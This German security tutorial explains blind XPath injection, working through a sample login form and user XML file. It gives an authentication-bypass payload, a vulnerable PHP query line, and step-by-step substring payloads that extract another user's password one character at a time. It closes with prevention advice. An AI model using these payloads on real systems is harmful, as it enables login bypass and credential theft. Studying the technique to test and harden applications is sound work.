Prompt Injection
Andrea Hauser
Nutzen Sie die erweiterten Angriffsmöglichkeiten von XPath-Injection
Um die wichtigsten Begriffe zu klären, ist nachfolgend ein einfaches XML-Dokument dargestellt, welches als Basis für den weiteren Verlauf des Artikels gilt.
<?xml version="1.0" encoding="UTF-8"?> <accounts> <!-- root node --> <user id="1"> <!-- node with attribute --> <username> <!-- child of user node --> 1337h4x0r <!-- node value --> </username> <firstname>Leet</firstname> <lastname>Hacker</lastname> <email>h@ck.er</email> <accounttype>normal</accounttype> <password>123456</password> </user> <user id="2"> <username>johnnynormal</username> <firstname>John</firstname> <lastname>Doe</lastname> <email>john@company.com</email> <accounttype>administrator</accounttype> <password>UiobxmA5UcDVF9m5VAq</password> </user> </accounts>
Das oben dargestellte XML-Dokument entspricht dabei ungefähr dem folgenden Baum:
Die Knoten eines XML Dokuments können auf verschiedene Arten mit XPath selektiert werden. Die wichtigsten Selektionsmöglichkeiten sind dabei:
XPath Abfrage | Resultat der XPath Abfrage |
---|---|
/accounts | Es wird der root-Knoten accounts selektiert. |
//user | Es werden alle Knoten mit dem Namen user selektiert. |
/accounts/user | Es werden alle user-Knoten selektiert, die child-Knoten des accounts-Knoten sind. |
/accounts/user[username=‘1337h4×0r’] | Es wird der user Knoten zurückgegeben welcher den username 1337h4×0r beinhaltet. Ein absoluter Pfad beginnt mit /. |
//user[email=‘john@company.com’] | Es wird der user Knoten zurückgegeben welcher die email john@company.com beinhaltet. Ein relativer Pfad beginnt mit //. Damit werden sämtliche Knoten selektiert, welche die gestellte(n) Bedingung(en) erfüllen, egal wo im Baum sich die Knoten befinden. |
/accounts/child::node() | Damit werden sämtliche child Knoten des Knoten accounts selektiert. |
//user[position()=2] | Damit wird der user Knoten an der Position ausgewählt. Achtung da der Index bei 1 beginnt, wird damit der Knoten des Benutzers johnnynormal selektiert. |
Nachdem die wichtigsten Grundlagen der XML Path Language abgedeckt sind, möchte ich nun Schritt für Schritt darauf eingehen, wie bei einer Blind XPath-Injection vorgegangen werden kann. Als Beispiel orientieren wir uns dabei an einer Login-Maske. Ziel ist es, diese Login-Maske zu umgehen, um schlussendlich die Passwörter aller Benutzer auslesen zu können.
Um ganz grundsätzlich das Vorkommen einer XPath-Injection zu bestimmen, kann als erstes im Feld des Benutzernamens ein Hochkomma '
oder ein Anführungszeichen "
eingegeben werden. Im besten Fall wird bei einem dieser Zeichen eine Fehlermeldung zurückgegeben, welche ungefähr wie folgt aussieht:
Warning: SimpleXMLElement::xpath(): Invalid predicate in /webserver/index.php on line 56 Warning: SimpleXMLElement::xpath(): xmlXPathEval: evaluation failed in /webserver/index.php on line 56
Mit der Anzeige einer solchen oder ähnlichen Fehlermeldung wird eindeutig bestätigt, dass eine XPath-Injection in diesem Bereich der richtige Ansatz ist.
Grundsätzlich handelt es sich bei einer XPath Injection um ein ähnliches Prinzip wie bei einer SQL-Injection. Es geht darum, eine bestehende XPath Abfrage so zu verändern, dass sie den durch den Angreifer gewünschten Effekt durchführt.
Im Unterschied zu einer SQL-Injection ist es bei der XPath-Injection aus Sicht des Angreifers glücklicherweise so, dass keine Zugriffskontrollen innerhalb des XML-Dokuments umgesetzt werden können. Dementsprechend kann das ganze XML-Dokument ausgelesen werden, sollte eine XPath-Injection vorhanden sein.
Zudem ist XPath eine standardisierte Abfragesprache was bedeutet, dass man sich nicht mit unterschiedlichen XPath Dialekten herumschlagen muss. Das einzige was es zu beachten gibt ist, dass es unterschiedliche XPath Versionen gibt. Momentan ist XPath 3.1 die aktuellste Version. Um herauszufinden welche Version von XPath genutzt wird, kann eine Funktion aus der Version 2.0 oder 3.1 verwendet werden, welche in der vorhergehenden XPath Version noch nicht vorhanden war. Wenn eine Fehlermeldung angezeigt wird, die aussagt, dass es diese Funktion nicht gibt, kann davon ausgegangen werden, dass es sich um eine ältere XPath Version handelt.
In unserem Beispiel verwende ich für die Überprüfung der XPath Version die Funktion lower-case("ABC")
welche erst ab der Version 2.0 verfügbar ist. Da in unserem Beispiel die folgende Fehlermeldung ausgegeben wird, kann darauf geschlossen werden, dass XPath 1.0 verwendet wird.
"Warning : SimpleXMLElement::xpath() : xmlXPathCompOpEval : function lower-case not found in /webserver/index.php on line 56 Warning : SimpleXMLElement::xpath() : Unregistered function in /webserver/index.php on line 56 Warning : SimpleXMLElement::xpath() : Stack usage error in /webserver/index.php on line 56 Warning : SimpleXMLElement::xpath() : xmlXPathEval : 1 object left on the stack in /webserver/index.php on line 56"
Ähnlich wie der Ausdruck ' OR '1'='1
bei SQL-Injection, existiert bei der XPath-Injection ' or 1=1 or ''='
. Damit kann bei einer Abfrage in der Form 'bool_value_1 and bool_value_2'
wie zum Beispiel username='...' and password='...'
die Auswertung der Bedingung bool_value_2
bzw. password='...'
umgangen werden.
In unserem Beispiel gibt es die Input Felder Benutzername und Passwort. Wir geben den Wert ' or 1=1 or ''='
als Benutzername und den Wert bla
als Passwort ein. Wenn die folgende Serverlogik angenommen wird:
simplexml_load_file("useraccounts.xml")->xpath("/accounts/user[username=' " . $_POST["username"] . " ' and password=' " . $_POST["password"] . " ' ]");
Entsteht daraus die folgende XPath Abfrage:
xpath("/accounts/user[username='' or 1=1 or ''='' and password='bla' ]")
Aufgrund der zwei nacheinander folgenden or-Statements wird die Überprüfung der and-Aussage umgangen. Das Ergebnis der Eingabe ist, dass wir als erster Benutzer des XML-Dokuments angemeldet werden. Wir werden als erster Benutzer angemeldet, da mit der veränderten XPath-Query sämtliche Benutzer zurückgeliefert werden und aus diesem Resultat dann jeweils der erste Benutzer verwendet wird.
Nun sind wir bei einem Zustand angelangt, der es uns erlaubt eine Boolean Based Blind-Injection durchzuführen. Wir können die erste or-Aussage verändern und wenn wir nach dieser Veränderung immer noch als erster Benutzer des XML-Dokuments angemeldet werden, ist diese or-Aussage korrekt.
Um dieses Beispiel sinnvoll weiterführen zu können, gehen wir davon aus, dass wir das Passwort des ersten Benutzers des XML-Dokuments in Erfahrung bringen können. Dies kann entweder dadurch geschehen, dass wir das Passwort ändern können, sobald wir angemeldet sind oder weil wir es aus dem angemeldeten Profil im Benutzerinterface auslesen konnten. Für den weiteren Verlauf dieses Beispiels gehen wir also davon aus, dass wir das Passwort als 123456 kennen.
Da wir davon ausgehen, dass das XML-Dokument eine für uns unbekannte Struktur hat, geht es nun zuerst darum herauszufinden, in welchem Knoten das Passwort abgespeichert ist. Das Kennen dieser Position innerhalb eines Benutzer-Elements ist elementar, da wir erst mit diesem Wissen ein unbekanntes Passwort bruteforcen können. Dabei hilft uns, dass wir das Passwort des Benutzers an der ersten Stelle kennen.
Den Aufbau der ersten or-Abfrage, welche wir für die blind XPath-Injection benötigen, möchte ich nun Schritt für Schritt angehen:
//user[position()=1]
: Damit wird der Benutzer an der ersten Stelle des XML-Dokuments ausgelesen. Hier sei darauf hingewiesen, dass der Knotenname user eine begründete Vermutung darstellt. Wenn damit keine Treffer gemacht werden, sollten weitere ähnliche Begriffe für Benutzer verwendet werden.(//user[position()=1]/child::node()[position()=1])
: Diese Abfrage bezweckt das Auslesen des ersten child-Knoten des ersten Benutzers. Angewendet auf unser Beispiel-XML-Dokument wäre dies der Knoten username
.substring((//user[position()=1]/child::node()[position()=1]),1)
: Substring wird definiert als string substring(string_to_work_with, start_of_substring_extraction, [optional_length_of_extracted_string])
. Angewandt auf unser XML Beispiel bedeutet dies, dass der String aus dem Knoten username
ausgelesen wird. Da keine Länge angegeben wird, wird der gesamte String 1337h4x0r
ausgelesen. Achtung, bei XPath beginnt der Index bei 1
und nicht ansonsten in der Informatik üblich bei 0
.substring((//user[position()=1]/child::node()[position()=1]),1)="123456"
: Nachdem nun der effektive Wert des ersten child-Knotens des ersten Benutzers ausgelesen und als 1337h4x0r
bestimmt wurde, wird dieser Wert mit 123456
verglichen. In diesem Fall führt der Vergleich zu einem false
Wert. Wenn diese Abfrage so als unser erster or-Wert in die Abfrage ' or 1=1 or ''='
eingefügt wird, führt die Auswertung dieser Query zu keinem erfolgreichen Login. Daraus kann geschlossen werden, dass es sich bei der ersten Position des Benutzers nicht um das Passwort handelt. Um in unserem Beispiel XML eine Anmeldung zu erreichen, ist die Query ' or substring((//user[position()=1]/child::node()[position()=6]),1)="123456" or ''='
notwendig. Damit konnte die Position des Passworts im user-Knoten als Position 6 bestimmt werden.Da wir nun die Position des Passworts kennen, können wir unsere Abfrage leicht anpassen auf: ' or substring((//user[position()=2]/child::node()[position()=6]),1,1)="a" or ''='
. Damit fragen wir für den zweiten Benutzer das erste Zeichen des Passworts ab und vergleichen es mit dem Buchstaben 'a'
. Dies wird bewerkstelligt, indem bei der substring-Abfrage angegeben wird, wie viele Zeichen ab der Startposition zurückgegeben werden sollen. Da wir mit einem Vergleich zu 'a'
kein erfolgreiches Login erhalten, kann darauf geschlossen werden, dass das Passwort des zweiten Benutzers nicht mit a beginnt. Erst bei ' or substring((//user[position()=2]/child::node()[position()=6]),1,1)="U" or ''='
werden wir wieder als erster Benutzer des XML-Dokuments erfolgreich angemeldet. Dementsprechend ist das erste Zeichen des Passworts der Buchstabe 'U'
.
Das einzige was nun zu tun bleibt, ist die Position des ausgewählten Substrings zu inkrementieren und das Vergleichen der Zeichen erneut durchzuführen. Mit ' or substring((//user[position()=2]/child::node()[position()=6]),2,1)="i" or ''='
erhalten wir unseren zweiten Treffer.
Das Automatisieren dieser Art der Vergleiche lässt sich relativ einfach umsetzen und wird dem interessierten Leser selbst überlassen.
Um eine XPath-Injection zu verhindern, sollten soweit möglich vorkompilierte XPath-Abfragen genutzt werden. Wenn die gewählte Bibliothek dies nicht unterstützt, sollte eine parametrisierte XPath-Schnittstelle verwendet werden. Falls diese beiden Möglichkeiten nicht vorhanden sind und der Input eines Benutzers in eine dynamische XPath-Abfrage eingebunden werden muss, muss der Input des Benutzers escaped werden. Beim Escapen von Werten sollte so weit wie möglich Whitelisting-Ansätze verwendet werden.
Abschliessend möchte ich darauf hinweisen, dass sich dieser Artikel lediglich auf die Auswertung von XPath 1.0 konzentriert hat. Da XPath 1.0 im Vergleich zu den Versionen 2.0 und 3.1 nur wenige Funktionen zur Verfügung hat, ist das Auslesen von XML-Dokumenten mit vielen Abfragen verbunden. Mit den Erweiterungen von XPath 2.0 und 3.1 sind viele Funktionen hinzugefügt worden, welche das Auslesen von XML-Dokumenten erleichtern und die Tragweite einer XPath-Injection vergrössern. Beispielsweise gibt es seit XPath 2.0 die Funktion doc(path_to_xml_document)
, welche es erlaubt andere XML-Dokumente zu referenzieren und somit auszulesen. Damit können beispielsweise config-Files mit bekannten Speicherorten ausgelesen werden.
Unsere Spezialisten kontaktieren Sie gern!
Andrea Hauser
Andrea Hauser
Andrea Hauser
Andrea Hauser
Unsere Spezialisten kontaktieren Sie gern!